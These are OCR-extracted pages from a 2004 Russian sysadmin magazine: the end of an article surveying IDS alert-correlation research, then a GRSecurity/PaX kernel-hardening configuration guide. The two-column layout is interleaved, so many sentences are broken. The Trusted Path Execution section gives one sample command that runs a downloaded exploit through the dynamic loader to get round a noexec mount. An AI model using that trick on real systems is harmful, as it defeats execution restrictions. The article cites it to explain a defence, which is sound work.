почти полную идентичность (установленые флаги, ttl, раз- RootAccess(IP), DOSAttask(IP), SystemCompromised(IP) и т. д.
мер окна приема/передачи), отсюда можно сделать вполне Но атака не обязательно может генерировать заявленное
логичное заключение о том, что это одна угроза, а не не- последствие. Например, сервис выполняется в изолирован-
сколько, и не засорять вывод. Хотя подобные атаки доволь- ной chroot-среде или на сервере установлен один из паке-
но хорошо описываются отдельными методами следующих тов, защищающих от возможных последствий переполне-
далее классов. При отборе результатов возможно следо- ния буфера libsafe, LIDS и пр. Но все равно в моделях ис-
вание хорошо изученным методикам атак, это так называ- пользуется понятие возможных последствий, а не факти-
емые механизмы последствия, но при отклонении в сцена- ческих, по причине того, что IDS не может иметь достаточ-
рии атаки такая система может и не отреагировать. К тому но информации, чтобы принять решение об эффективнос-
же механизмы последствия используют методы, которые ти атаки. Для того чтобы отслеживать повторяющиеся с
распознают предупреждения, уровень серьезности атаки и течением времени атаки и не засорять вывод, к отслежи-
временной интервал между двумя связанными предупреж- ваемым параметрам возможно добавление временного ин-
дениями, что не дает достаточно информации, позволяю- тервала. Также в некоторых моделях позволяется частич-
щей собрать воедино всевозможно связанные предупреж- ное удовлетворение предпосылок и последствий, что по-
дения. Кроме того, непросто предсказать, как нападающий вышает точность, позволяя определить и соединить в одно
может производить атаку или ее части, т.е. разработать до- предупреждение, в том числе и случайные атаки, когда на-

№9(22), сентябрь 2004 43


безопасность
падающий вначале пробует сеть на уязвимость, просто ука- контроля целостности, honeypot, firewall и пр.), можно сде-
зав диапазон адресов в надежде на успех. При этом стоит лать вывод о попытке и эффективности атак, кроме того,
заметить, что в моделях рассматриваются в первую оче- некоторые неочевидные атаки могут не проявиться в од-
редь параметры объекта атаки, т.е. сам уязвимый узел. Па- ном журнале, но при сопоставлении нескольких уже можно
раметры нападающей системы менее интересны и имеют связать все воедино и увеличить КПД систем IDS. При изу-
меньшее значение для корреляции результатов, что, согла- чении этого вопроса используется два способа. Первый –
ситесь, вполне логично, т.к. тот же IP-адрес можно поме- берут известную атаку и анализируют записи, оставленные
нять, используя любой анонимный прокси-сервер, да и боль- в системных журналах, это позволяет найти общее и выя-
шинству админов абсолютно нет никакого дела, кто его вить классы атак, получить статистику и составить список
сейчас атакует, главными остаются сам факт атаки, служ- журналов, в которых обнаруживаются следы тех или иных
ба, подвергшаяся нападению, желание остановить вторже- атак. Во втором способе исследователи сами пробуют опоз-
ние и уменьшить потери. Но естественно, данные атакую- навать образы атак в многочисленных журналах, выявить
щей системы в окончательном результате фигурируют. аномалии и вывести некие законы. Как пример таблица
«Факт», «предпосылка», «последствие» – главные слова в «Log correlation table», найденная мной в документе «Log
моделях третьей группы. Correlation for Intrusion Detection: A Proof of Concept» (http://
www.ncassr.org/projects/sift/papers/ACSAC03.PDF), правда,
Что для этого нужно? стоит отметить, что syslog собирает информацию от не-
Математика – это, конечно, хорошо, но для ее работы тре- скольких источников и поэтому содержащаяся в нем инфор-
буются данные. Традиционные системы обнаружения атак мация может отличаться в зависимости от настроек конк-
работают, как правило, только с одним типом датчиков – ретной системы.
сетевым или контролирующим параметр на самом хосте.
Но такой подход не позволяет увидеть и оценить картину в
целом, а в случае возникновения угрозы сразу найти и ло-
кализовать ее источник. Для более эффективной работы
систем IDS требуется комплексный подход, чтобы система
могла иметь полную картину происходящего, только в та-
ком случае возможно уменьшение количества ложных тре-
вог и корреляции данных.
Если с сетевыми IDS ситуация более-менее ясна, кро-
ме традиционного поиска в пакетах сигнатур атак, основ-
ные усилия сосредоточены на создании самообучающихся
систем, реагирующих на аномалии (я думаю, это тема от-
дельного разговора и поэтому сейчас затрагивать ее не
буду). Кроме того, основное усилие сейчас сосредоточено Надо отметить, что тестовые системы, на которых об-
на создании распределенных систем, позволяющих опре- катывались методики, описанные в этом пункте, были спо-
делять скоординированные атаки в больших сетях. Такие собны автоматически выявить начало вирусной эпидемии
системы, как правило, состоят из нескольких мониторов, и многие другие аномалии.
способных общаться друг с другом при определении рас- Несмотря на то, что работа по уменьшению ошибок си-
пределенных атак, решающего устройства для анализа со- стем обнаружения атак ведется уже давно, мне пока не
бранных данных, и базы данных, предназначенной для хра- удалось найти законченных приложений, которые можно
нения информации. Но все равно для успешного 100% точ- было рекомендовать для применения, особенно это каса-
ного детектирования одной информации мало, поэтому ется свободных проектов. Некоторые ссылки ведут в пус-
сейчас заметны усилия по объединению систем IDS в ком- тоту, некоторые проекты уже стали коммерческими, и тех-
плексы. Интересны и перспективны исследования зависи- нологии скрыты за семью печатями, получить доступ даже
мостей некоторых параметров при возникновении тех или для тестирования не удается, на сайтах организаций, ра-
иных внештатных обстоятельств. нее занимавшихся этим вопросом, можно найти лишь не-
Например, резкое увеличение количества процессов, которые обрывки (некоторые доступны только для нужд об-
загрузка CPU, объем занимаемой памяти отдельным про- разования), позволяющие оценить прогресс, но не собрать
цессом, открытие новых сетевых соединений, подозритель- систему. Наиболее близко из OpenSource-систем к реше-
ные, т.е. не характерные для данного сервиса последова- нию стоят разработчики гибридной IDS Prelude (http://
тельность системных вызовов и объемы передаваемой/при- www.prelude-ids.org), о которой речь шла в июньском номе-
нимаемой информации и сопоставление полученных ре- ре журнала за этот год. По крайней мере сам принцип по-
зультатов. Работа такая ведется, и уже имеются некие ал- строения этой системы, доступные датчики, анализирую-
горитмы, но для UNIX-систем не характерна унификация щие аномалии как в сети, так и на отдельном хосте, вклю-
приложений, и отследить статистику всех вариантов слож- чая анализ логов и уже имеющиеся скрипты (http://
нее. Особое внимание исследователей обращено на сис- www.rstack.org/oudot/prelude/correlation) позволяют надеять-
темные журналы, в которых имеется вся информация о том, ся, что эта работа будет все-таки доведена до конца.
что происходит на компьютере. Сопоставляя данные, полу- Ближайшим, если можно так выразиться, конкурентом,
ченные из различных журналов (в том числе и систем IDS, вероятно, является довольно интересный проект STAT (State

44
безопасность
Transition Analysis Technique, http://www.cs.ucsb.edu/~kemm/ система способна к самообучению, работе в режиме ре-
netstat.html/projects.html), в котором имеется все, что необ- ального времени, возможно обнаружение в том числе и
ходимо для нормальной работы системы и коррелляции комплексных атак, растянутых во времени, двумя способа-
поступающих данных: сетевые и хост scenario-based-дат- ми anomaly и misuse detection, построение затем сценария
чики, и в том числе уже разработан один датчик уровня при- атаки. Сам проект разделен на подпроекты, в которых раз-
ложений (application-based) для веб-сервера Apache, ана- рабатывается один из компонентов (привожу здесь для того,
лизаторы логов, менеджер и специальный модуль для ана- чтобы вы смогли оценить размах и сравнить с имеющими-
лиза, предназначенный для идентификации атак, в том чис- ся системами):
ле и многоступенчатых. Подробнее о работе STAT – в сле- ! HoBIDS – Host Based IDS – контролирует процессы и логи
дующем номере журнала. на отдельном хосте, поставляет данные для дальней-
Из других разработок стоит отметить работу Колумбий- шего анализа.
ского университета MADAM ID – Mining Audit Data for ! HAUNT – Network Based IDS – осуществляет анализ па-
Automated Models for Intrusion Detection(Columbia IDS), яв- кетов и обнаружение атак на основе точно установлен-
ляющуюся частью большого пректа JAM – (Java Agents for ных правил.
Meta-Learning) (http://www.cs.columbia.edu/jam), уже, кстати, ! AMG – Adaptive Model Generation – формирует и при не-
тоже успевшего лицензировать свою технологию для ком- обходимости обновляет модель поведения системы в ре-
мерческой разработки компанией System Detection, INC. альном масштабе времени, используя данные датчика.
http://www.sysd.com/, которая, в свою очередь, обещает в ! DIDS – Distributed IDS System – координирует действия
скором выпустить готовые продукты, умеющие распозна- HoBIDS и HAUNT и, основываясь на полученных сооб-
вать аномальные явления в сети, устранять ложные сраба- щениях, принимает решения об атаках и генерирует
тывания и пр. Основная идея проекта JAM состоит в том, предупреждающие сообщения.
чтобы, используя данные, полученные от нескольких раз- ! MEF – Malicious program E-mail Filter – просмотр e-mail
нородных датчиков, используя свои модели, коррелировать вложений, при нахождении вируса останавливает рас-
их в некий набор правил, способных произвести общее опи- пространение. В работе использует различные, в том
сание среды, в которую они включены. Судя по описанию, числе и адаптивные алгоритмы.

Ðèñóíîê 1

№9(22), сентябрь 2004 45


безопасность
! DWARF – Data Warehousing for IDS – представляет со- руя журналы, полученные при помощи других утилит, на
бой централизованное хранилище данных. выходе выдают графическое представление всех проходя-
! FWRAP – File System Wrappers – монитор, отслеживаю- щих пакетов, некий снимок сети, при этом различие линий
щий записи в файловую систему для обнаружения атак. по толщине, цвету и направлению позволяют визуально оце-
! ASIDS – Advanced Sensors Project – поставляет данные нить количественные параметры и таким образом получить
к DWARF. «снимки» нормальной сети, в случае же существенных от-
! IDSMODELS – коллекция различных алгоритмов для вза- клонений можно сделать вывод о том, что в сети происхо-
имодействия всех компонентов. дит что-то необычное. Для установки NvisionIP вам понадо-
бится D2K – Data to Knowledge (http://alg.ncsa.uiuc.edu/do/
Компания Promia, Incorporated (http://www.promia.com), downloads/d2k), представляющая собой гибкую обучающу-
которая на сайте http://seclab.cs.ucdavis.edu выступает спон- юся систему, в которой интегрированы эффективные ана-
сором проекта «Intrusion Detection Analysis Project», в ре- литические данные, методы для прогнозирования и детек-
зультате создала инструмент Intelligent Agent Security тирования изменений. Распространяется D2K под Academic
Manager (IASM). IASM собирает информацию от многочис- Use License и для возможности ее бесплатной закачки вам
ленных источников IDS, firewall, роутеров, VPN и пр., соби- потребуется адрес электронной почты в домене edu или
рает все в кучу и анализирует. В результате своей работы очень убедительные аргументы при отсутствии такового.
отсеивает ложные тревоги систем IDS, отфильтровывая не- Итак, современные IDS первого поколения не лишены
существенные для охраняемой сети события, позволяет недостатков и требуют существенного пересмотра самого
быстро оценить сложившуюся ситуацию, способен выявить процесса обнаружения угроз, математики уже более-менее
новые атаки. разобрались с этой проблемой, дело стало за программис-
Следующий инструмент TIAA – A Toolkit for Intrusion Alert тами, которые смогут реализовать требуемые алгоритмы
Analysis (http://discovery.csc.ncsu.edu/software/correlator), на практике. Остается надеяться, что осталось ждать не-
который разработан для того, чтобы облегчить интерактив- долго. Успехов.
ный анализ, используя предупреждения, сделанные систе-
мой обнаружения атак. Пока это еще прототип, демонстри- Литература:
рующий возможности корреляции, основанный на предпо- 1. Top 10 Requirements for Next-Generation IDS
сылках и последствиях известных атак (рис. 1). Написан на (http://www.intruvert.com)
Java и протестирован с Windows 2000/XP c MS SQL Server, 2. Intrusion Detection Systems B U Y E R ’ S G U I D E
используя JDBC, но, очевидно, его можно подружить и с (http://www.ipa.go.jp/security/fy11/report/contents/intrusion/
парочкой GNU/Linux с MySQL. ids-meeting/idsbg.pdf)
Open Source-проект QuIDScor (http://quidscor.source 3. MINDS – Minnesota Intrusion Detection System
forge.net) демонстрирует соответствие информации, полу- (http://www-users.cs.umn.edu/~aleks/MINDS/MINDS.htm)
ченной от IDS SNORT и утилитой оценки уязвимости 4. Insertion, Evasion, and Denial of Service: Eluding Network
QualysGuard, триал-версию которой можно взять с http:// Intrusion Detection
www.qualys.com/?page=services/qg. При обнаружении IDS (http://secinf.net/info/ids/idspaper/idspaper.html)
события QuIDScor отыскивает в сообщении QualysGuard 5. Constructing Attack Scenarios through Correlation of
релевантное событие и пытается дать ему оценку в виде Intrusion Alerts
одной из трех основных категорий: Validated, Unknown и (http://discovery.csc.ncsu.edu/pubs/AttackScenarios.ps)
Invalidated и подкатегорий. 6. Analyzing Intensive Intrusion Alerts Via Correlation
(http://discovery.csc.ncsu.edu/pubs/raid-02-ning.pdf)
7. Design and Implementation of A Decentralized Prototype
System for Detecting Distributed Attacks
(http://discovery.csc.ncsu.edu/pubs/cards.pdf)
8. Adapting Query Optimization Techniques for Efficient
Intrusion Alert Correlation
(http://discovery.csc.ncsu.edu/pubs/FastCorrelation.pdf)
9. Tools and Techniques for Analyzing Intrusion Alerts
(http://discovery.csc.ncsu.edu/~pning/pubs/tissec04.pdf)
10. Building Attack Scenarios through Integration of
Complementary Alert Correlation Methods
(http://discovery.csc.ncsu.edu/~pning/pubs/NDSS04_
Ðèñóíîê 2 final.pdf)
Если нужно визуально оценить характер трафика в сети 11. False Positives: A User’s Guide to Making Sense of IDS Alarms
и выявить перекосы, свидетельствующие о возможных про- (http://www.icsalabs.com)
блемах, то в этом случае могут помочь утилиты Security 12. Common Intrusion Detection Framework
Incident Fusion Tools, к которым относятся NvisionIP (http:// (http://seclab.cs.ucdavis.edu/cidf)
distribution.ncsa.uiuc.edu/nvision/NVisionIPv0_2Install.tar.gz) и 13. Закляков П. Обнаружение телекоммуникационных атак:
VisFlowConnect (http://distribution.ncsa.uiuc.edu/visflow/ теория и практика Snort. – журнал «Системный адми-
index.html). Утилиты Security Incident Fusion Tools, анализи- нистратор», №10(11), октябрь 2003 г. – 48-67 с.

46
безопасность

GRSecurity

КИРИЛЛ ТИХОНОВ
GRSecurity – система безопасности для Linux, состоящая GRSecurity предлагает в помощь администратору, же-
из патча к ядру и управляющей программы. На момент на- лающему обезопасить свои сервера, следующие возмож-
писания статьи актуальными были версии: ности:
! grsecurity-2.0-2.4.26.patch ! Защита от атак типа «переполнение буфера» с помо-
! gradm-2.0.tar.gz щью проекта PaX.

48
безопасность
! Role-Based Access Control – контроль доступа на осно- ! low
ве ролей. ! medium
! Случайные ID процессов. ! hard
! Защищенный просмотр процессов. ! custom
! Change root hardening – защита смены корневого ката-
лога. Выбираем уровень custom, после его активации станут
! Защита /tmp. доступными несколько подменю:

Кроме того, GRSecurity ограничивает процессы по:


! доступу к файловой системе;
! конфигурированию устройств;
! сетевому доступу;
! ресурсам системы.

Центральная идея всех RBAC-систем – ограничение


пользователей, особенно суперпользователя root. В резуль-
тате, если злоумышленник получит доступ root, он ничего
не сможет сделать с системой. Кстати, с самим получени-
ем доступа тоже возникают большие проблемы, поскольку Ðèñóíîê 1
удаленные и локальные эксплоиты больше не сработают.
Значит, остаются либо метод прослушивания трафика, ко- PaX Control (Настройка PaX)
торый в 99% ничего не даст, либо социальная инженерия. В этом разделе указываем методы пометки бинарных фай-
По GRSecurity почти полностью отсутствует документа- лов для использования PaX.
ция, за исключением официальной, датированной 1 апреля ! Support soft mode OFF – эта опция задает работу PaX в
2003 года. Вышеуказанная документация рассматривает «мягком» (soft) режиме. В этом режиме опции PaX не
первую версию GRSecurity, которая в настоящее время офи- прописаны по умолчанию и относятся только к явно от-
циально не поддерживается. А уж русскоязычных описаний меченным выполняемым файлам. Также надо опреде-
продукта на просторах Интернета не было найдено ни одно- лить поддержку PT_PAX_FLAGS, поскольку это един-
го. В этой статье будет рассмотрена установка и настройка ственный метод отметки выполняемых файлов в мяг-
второй версии GRSecurity, имеющей по сравнению с первой ком режиме работы. Мягкий режим можно активировать
несколько принципиальных отличий в лучшую сторону. с помощью команды загрузчику «pax_softmode=1». Кро-
ме того, можно управлять различными особенностями
Установка PaX через /proc/sys/kernel/pax.
Обладателям Gentoo Linux этот раздел можно пропустить, ! Use legacy ELF header marking ON – позволяет управлять
поскольку вся установка сводится к: опциями PaX с помощью утилиты chpax, доступной по ад-
ресу http://pax.grsecurity.net/. Флаги управления будут чи-
# emerge grsec-sources таться из зарезервированной части заголовка ELF-фай-
# emerge gradm
ла. Эта маркировка имеет многочисленные недостатки –
Необходимо учитывать, что в стандартном ядре Gentoo- нет поддержки мягкого режима, инструментарий не знает
sources уже есть поддержка GRSecurity, но только первой о нестандартном использовании заголовка ELF-файла.
версии. Поэтому надо использовать ядро grsec-sources, в ! Use ELF program header marking ON – дает возможность
состав которого входит GRSecurity второй версии. управлять настройками PaX с помощью утилиты paxctl.
В зависимости от дистрибутива, используемого вами в Флаги управления будут читаться из определенной PaX
системе, может присутствовать либо порт, как в Gentoo, части заголовка ELF-файла. Этот способ маркировки
либо rpm- или dep-пакет. Желательно использовать их. поддерживает оба режима работы, к тому же существу-
Однако если пакетов для вашего дистрибутива нет – уста- ет патч для binutils, позволяющий инструментарию ра-
навливаем из исходников. Приступим к установке gradm: ботать с этими заголовками.
! MAC system integration NONE – эта опция нужна только
# cd gradm-2.0 для разработчиков.
# make
# make install
Address Space Protection
Накладываем патчи на исходные тексты ядра: (Защита адресного пространства)
В данном разделе надо сконфигурировать PaX как часть
# cd linux-2.4.26 GRSecurity. PaX – это сторонний проект, включенный в
# patch –Np1 –i ../grsecurity-2.0-2.4.26.patch
# make menuconfig GRSecurity, поскольку является важным компонентом фи-
лософии безопасности. PaX предотвращает переполнение
В меню появился новый пункт – grsecurity. После его буфера и обеспечивает случайное размещение процесса в
активации надо решить, какой уровень защиты будет ис- памяти, что является эффективной защитой от атак, осно-
пользоваться: ванных на срыве стека.

№9(22), сентябрь 2004 49


безопасность
! Enforce Non-executable pages ON – некоторые архи- ! Randomize ET_EXEC base ON.
тектуры не защищают страницы памяти, но даже если ! Deny writing to /dev/kmem, /dev/mem and /dev/port ON –
и защищают – сам Linux не обеспечивает такую за- запрет на запись в /dev/kmem, /dev/mem и в /dev/port с
щиту. Это означает, что если страница доступна для помощью mmap() или другими способами изменять па-
чтения, то она также доступна и для выполнения кода. раметры ядра.
Существует известная технология взлома, когда ата- ! Disable privileged I/O OFF – запрет на использование си-
кующий может подставить свой код в память атакуе- стемных вызовов ioperm и iopl, поскольку они могут при-
мой программы, и этот код будет выполнен. Если ата- меняться для модификации ядра.
куемая программа была запущена с более высокими ! Remove addresses from /proc/<pid>/[maps|stat] ON – зап-
привилегиями, то злоумышленник может поднять свои рет на выдачу информации из /proc/<pid>/[maps|stat].
привилегии до уровня привилегий пораженной про- ! Hide kernel symbols OFF – включение этой опции позво-
граммы. Включение этой опции позволит манипули- лит читать информацию о загруженных модулях только
ровать разными опциями, предотвращающими такие пользователям с установленной «способностью»
взломы. CAP_SYS_MODULES.
! Paging based non-executable page ON – эта функция ос-
нована на использовании особенности CPU. На i386 Role Based Access Control Options
это имеет разное воздействие на приложения в зави- (Настройка RBAC)
симости от способа использования памяти. В данном разделе необходимо указать настройки системы
! Segmentation based non-executable page ON – включе- RBAC, включая количество неудачных попыток ввода па-
ние этой опции позволит использовать особенности роля и длину временного интервала, в течение которого
сегментации CPU, однако приложения будут ограни- аутентификация будет заблокирована, когда количество
чены адресным пространством в 1.5 Гб вместо 3 Гб. неудачных попыток превысит установленную величину.
! Emulate trampolines OFF – некоторые программы и биб- ! Hide kernel processes ON – эта опция добавит дополни-
лиотеки по той или иной причине пытаются выполнить тельный ACL для ядра, который скроет все ядерные про-
специальные небольшие куски кода, находящиеся внут- цессы.
ри невыполнимой страницы памяти. Наиболее извест- ! Maximum tries before password lockout 3 – максимальное
ные примеры – сообщения о коде возврата обработчи- число попыток ввода пароля.
ка, генерированные непосредственно ядром. Если вы ! Time to wait after max password tries, in seconds 30 –
указали опции CONFIG_GRKERNSEC_PAX_PAGEEXEC время в секундах, на которое будет заблокирована си-
или CONFIG_GRKERNSEC_PAX_SEGMEXEC, то такие стема после последней неудачной попытки ввода па-
программы не будут работать с вашим ядром. роля.
! Restrict mprotect() ON – использование этой опции зап-
ретит программам: Filesystem protection
! изменение состояния страниц памяти, созданных (Защита файловой системы)
только для чтения (запрет выполнения); В этом разделе необходимо определить ограничения фай-
! давать доступ на запись страницам с правами чте- ловой системы, включая ограничение /proc, которое по-
ния и выполнения; зволяет пользователю просматривать только свои процес-
! создание выполняемых страниц анонимной памяти. сы, ограничение /tmp и ограничение chroot, что существен-
! Address Space Layout Randomization ON – при включе- но повысит безопасность программ, работающих в chroot-
нии этой опции память будет выделяться программе бло- окружении.
ками со случайным смещением в адресном простран- ! Proc restriction ON – ограничение файловой системы
стве, и предсказать, где будет находится буфер ввода /proc. Возможно запретить пользователям видеть все
программы, нельзя, а это в свою очередь приводит к процессы, либо разрешить только просмотр своих.
тому, что атаки на переполнение буфера не будут рабо- ! Restrict to user only OFF – при включенной опции непри-
тать. вилегированные пользователи смогут видеть только
! Randomize kernel stack base ON – эта опция заставит собственные процессы.
ядро использовать случайный ядерный стек для каждой ! Allow special group ON – разрешить специальную груп-
задачи. пу, члены которой смогут просматривать все процессы,
! Randomize user stack base ON – заставляем ядро исполь- сетевую информацию, информацию ядра и модулей.
зовать случайный пользовательский стек для каждой ! GID for special group 1001.
задачи. ! Additional restrictions ON – дополнительные ограничения
! Randomize mmap() base ON – приказываем использо- на /proc, не позволяющие обычным пользователям чи-
вать случайный базовый адрес запросов mmap(). Сис- тать информацию о CPU и о системных устройствах.
темный вызов mmap() служит для передачи обширных ! Linking restrictions ON – защита мягких (soft) и жестких
массивов данных между процессами и позволяет обра- (hard) ссылок.
щаться к участку файла как к оперативной памяти. Дан- ! FIFO restrictions ON – пользователи не смогут писать в
ные, которые процесс читает из указанной области па- не принадлежащий им FIFO в доступной всем на запись
мяти, по мере надобности считываются из файла, а те, директории (например, /tmp), за исключением случая,
которые он туда пишет, когда-нибудь попадут на диск. когда владелец FIFO является владельцем директории.

50
безопасность
! Chroot jail restrictions ON – при включении этой опции ! Fork failure logging ON – протоколирование всех попы-
станет доступна группа опций, реализующих защиту ток fork().
chroot. Все последующие опции относятся к процессам ! Time change logging ON – протоколирование попыток из-
внутри chroot. менения системного времени.
! Deny mounts ON – процессы не смогут монтировать фай- ! /proc/<pid>/ipaddr support OFF – к информации о процес-
ловые системы. се добавится IP-адрес пользователя, его запустившего.
! Deny double-chroots ON – процессы не смогут сделать ! ELF text relocations logging OFF – только для разработ-
двойной chroot за пределы первого. чиков.
! Deny pivot_root in chroot ON – запрет на использование
функции pivot_root(). Эта функция способна разрешить Executable Protections
выход процессу за пределы chroot. (Защита бинарных файлов)
! Enforce chdir(“/”) on all chroots ON – корневой каталог Здесь надо указать опции, относящиеся к созданию про-
chroot будет установлен в качестве текущей рабочей ди- цессов и доступу бинарных файлов к системе.
ректории для всех chroot-программ. ! Enforce RLIMIT_NPROC on execs ON – для пользовате-
! Deny (f)chroot +s ON – процесс не сможет выполнить лей с ограничениями на количество процессов значе-
chmod и fchmod для файлов с целью установить suid или ния этих ограничений будут проверяться в процессе вы-
sgid бит. зова execve(). Без этой опции система будет проверять
! Deny fchdir out of chroot ON – запрет на использование значения ограничений только при вызове fork().
известной технологии прерывания chroot с помощью ! Dmesg(8) restriction ON – запрет на пользование dmesg
fchdir. пользователям без прав root.
! Deny mknod ON – запрет на использование mknod. ! Randomized PIDs ON – генерирование PID случайным
! Deny shmat() out of chroot ON – запрет на присоединение образом.
к сегменту памяти процессов, запущенных вне chroot. ! Trusted path execution OFF – включение этой опции по-
! Deny access to abstract AF_UNIX sockets out of chroot ON – зволяет определить недоверенных пользователей. Эти
процессы внутри chroot не способны подсоединяться к пользователи не будут способны запускать файлы, на-
сокетам вне chroot. ходящиеся вне принадлежащей root директории, но дос-
! Protect outside processes ON – запрет на посыл спецсиг- тупной на запись только root. Вот простой пример.
налов процессам вне chroot. Возьмем Linux-машину, в которой есть пользователь
! Restrict priority changes ON – запрет на повышение при- admin. Файловая система для этого пользователя смон-
вилегий процессов. тирована с опцией noexec. Пользователь скачивает эк-
! Deny sysctl writes in chroot ON – запрет на использова- сплоит «local kernel panic». Если он запустит этот эксп-
ние sysctl. лоит (/lib/...so ~/exploit), то ядро упадет. Однако если
! Capability restrictions within chroot ON – всем процессам, включена опция TPE, то ядро выдаст segmentation fault,
принадлежащим пользователю root, запрещается рабо- машина будет продолжать нормально работать, а в ло-
та с модулями, сырым вводом-выводом, системными и гах появится такая запись:
сетевыми задачами и т. д.
denied untrusted exec of “~/exploit”: “admin”’s uid...

Kernel Auditing (Аудит ядра)


Тут мы должны определить значения различных опций ауди- Network Protection (Сетевая защита)
та, которые отвечают за вывод полезной для администра- Здесь надо указать опции, отвечающие за генерацию слу-
тора информации. чайных чисел, используемых при работе с TCP/IP-стеком и
! Single group for auditing OFF – эта опция позволяет вы- защиту сокетов.
водить информацию о конкретном пользователе или ! Lager entropy pools ON – увеличение в два раза пула
группе. Удобно в случае слежения за конкретным энтропии, используемой для многих функций Linux и
пользователем или группой. GRSecurity.
! Exec logging OFF – протоколирование запуска файлов. ! Truly random TCP ISN selection ON – использование слу-
! Resource logging ON – протоколирование использова- чайных TCP ISN, взято из OpenBSD.
ния системных ресурсов. ! Randomized IP IDs ON – случайные id пакетов.
! Log execs within chroot OFF – все запуски файлов внут- ! Randomized TCP source ports ON – использование слу-
ри chroot будут протоколироваться с помощью syslog. чайного порта источника.
! Chdir logging OFF – протоколирование всех вызовов ! Randomized RPC XIDs ON – случайный XID в RCP-зап-
chdir() (смена каталога). росе.
! (Un)Mount logging OFF – протоколирование монтирова- ! Socket restrictions OFF – ограничение сокетов.
ния и размонтирования файловых систем.
! IPC logging OFF – протоколирование создания и удале- Sysctl support
ния очереди сообщений, семафоров, общей памяти. В этом разделе можно включить поддержку sysctl для
! Signal logging ON – протоколирование важных сигналов GRSecurity. Это позволит изменять конфигурацию
(SIGSEGV), поскольку они являются признаком попы- GRSecurity во время выполнения без перекомпиляции ядра.
ток взлома. Поскольку по умолчанию при запуске все опции GRSecurity

№9(22), сентябрь 2004 51


безопасность
будут отключены, потребуются изменения инициализиру- Этих директив в пределах роли может быть сколько угод-
ющего скрипта, в который придется прописывать включе- но. При входе пользователя в систему используется следу-
ние всех необходимых опций, и делать его недоступным для ющая последовательность выбора и применения роли:
чтения обычным пользователям. Поэтому включение под- пользовательская → групповая → default. Соответственно,
держки sysctl не рекомендуется. если не находится пользовательская роль, то применяется
групповая. Если и её нет, то применится роль по умолча-
Logging options нию (default).
Определяем параметры протоколирования. Директива role_ transitions служит для определения спе-
! Seconds in between log messages (minimum) 10 – время циальных ролей, к которым можно получить доступ из дан-
между регистрацией сообщений. ной роли:
! Number of messages in a burst (maximum) 4 – максималь-
ное число сообщений, регистрируемое за время, опре- role_transitions <special role 1> <special role 2> ↵
<special role 3>
деленное предыдущей опцией.
Любая программа, входящая в роль, называется субъек-
Компилируем ядро, перегружаемся. том (subject). Описания субъектов называются ACL – Access
Control List.
Конфигурирование Субъекты бывают обычными:
Подготовительный этап закончен, теперь разберем конфи-
гурацию GRSecurity. subject /bin/su {
......
Центральным понятием является Role (роль), которая }
может быть нескольких типов:
! A – административная роль; и вложенными (nested):
! N – не требует авторизации, для доступа к ней приме-
няется команда gradm –n <rolename>; subject /bin/su:/bin/bash:/bin/cat {
..........
! s – специальная роль; }
! u – пользовательская роль;
! g – групповая роль; Вложенный субъект используется в том случае, когда
! G – роль может использовать gradm для аутентифика- необходимо указать последовательность запуска. В данном
ции в ядре, ACL для gradm добавляется автоматически; случае привилегии будут вручены программе /bin/cat, если
! T – включает TPE для роли; она будет запущена из /bin/bash, которая в свою очередь
! l – режим обучения роли. будет запущена из /bin/su.
Вложенные субъекты поддерживают наследование, т.е.
Как вы могли заметить, роль может быть 3 типов – вложенный субъект /bin/su:/bin/bash:/bin/cat будет наследо-
пользовательская, групповая и специальная. Пользователь- вать правила /bin/su:/bin/bash и /bin/su. Они полезны при на-
ская роль может быть описана для любого системного писании ACL для программ типа sarg – анализатора логов
пользователя, соответственно групповая – для любой сис- прокси-сервера squid. Дело в том, что sarg при создании
темной группы. Например, если bind запускается из-под отчета использует стандартные утилиты – sort, grep, mkdir,
пользователя named, то для его корректной работы необ- cp, rm и т. д. Соответственно sarg вызывает оболочку (shell,
ходимо описать пользовательскую роль: в моем случае – bash), которая в свою очередь вызывает
эти утилиты. Чтобы вызов был успешным, необходимо в
role named u ACL для bash прописать разрешение на выполнение этих
утилит. Но в таком случае их смогут использовать все кому
Если в системе присутствуют системные почтовые поль- не лень, что сводит на нет все усилия по обеспечению бе-
зователи, состоящие в группе users, то для корректной ра- зопасности. Для решения этой проблемы и применяются
боты почты необходимо описать групповую роль: вложенные субъекты:

role users g subject /usr/bin/sarg:/bin/bash {


/ r
/bin h
Пользовательская и групповая роли не требуют ввода /bin/date x
/bin/mkdir x
пароля, достаточно, чтобы процесс был запущен от имени /bin/rm x
конкретного пользователя или группы. /dev/tty rw
/dev/null rw
Специальная роль – это роль, предназначенная для вы- ...............................
полнения каких-либо работ. Для доступа к ней необходимо }
ввести пароль. После успешной авторизации права будут
повышены до прав, определенных этой ролью. Запуск утилит будет возможен только в том случае, если
Роль может быть ограничена списком IP-адресов: инициатором будет sarg.
Любая программа, входящая в субъект (subject), назы-
role_allow_ip IP/netmask вается объектом (object). При описании субъектов и объек-
role_allow_ip 192.168.1.0/24
тов необходимо использовать абсолютные пути:

52
безопасность
subject /bin/su o { ! M – аудит успешного создания и модификации setuid/
/etc/passwd r
setgid файлов и каталогов;
/etc/shadow r ! с – позволить создание файлов и каталогов;
-CAP_ALL ! С – аудит успешного создания файлов и каталогов;
}
! d – разрешить удаление файлов и каталогов;
Субъекту (subject) доступны следующие режимы: ! D – аудит успешного удаления файлов и каталогов;
! h – процесс скрыт и может быть прочитан только про- ! p – сбросить все ptrace.
цессом с флагом v;
! v – процесс может видеть скрытые процессы; Помимо доступа к файлам и каталогам процессу иног-
! p – процесс защищен, он может быть завершен только да необходимы специальные права на смену владельца,
процессом с флагом k или процессом, принадлежащим конфигурирование сетевых интерфейсов и т. д. Эти права
этому же субъекту; реализованы в виде так называемых способностей или
! k – процесс может завершать защищенные процессы; свойств (capability). В ACL они предваряются знаками «+»
! l – режим обучения для данного процесса; и «-», соответственно знак «+» разрешает использование
! d – защитить /proc/<pid>/fd и /proc/<pid>/mem для про- данной «способности», знак «-» запрещает.
цессов в этом субъекте; Ниже приведены несколько наиболее интересных и ча-
! b – включить process accounting для процессов в этом сто используемых «способностей», полный список можно
субъекте; найти в официальной документации.
! P – отключить PAGEEXEC для этого субъекта (PaX); ! CAP_ALL – используется как заглушка для запрета или
! S – отключить SEGMEXEC для этого субъекта (PaX); разрешения всех capability.
! M – отключить MPROTECT для этого субъекта (PaX); ! CAP_CHOWN – в системе с установленной опцией
! R – отключить RANDMMAP для этого субъекта (PaX); [_POSIX_CHOWN_RESTRICTED_] эта «способность»
! G – включить EMUTRAMP для этого субъекта (PaX); разрешает процессу изменять владельца.
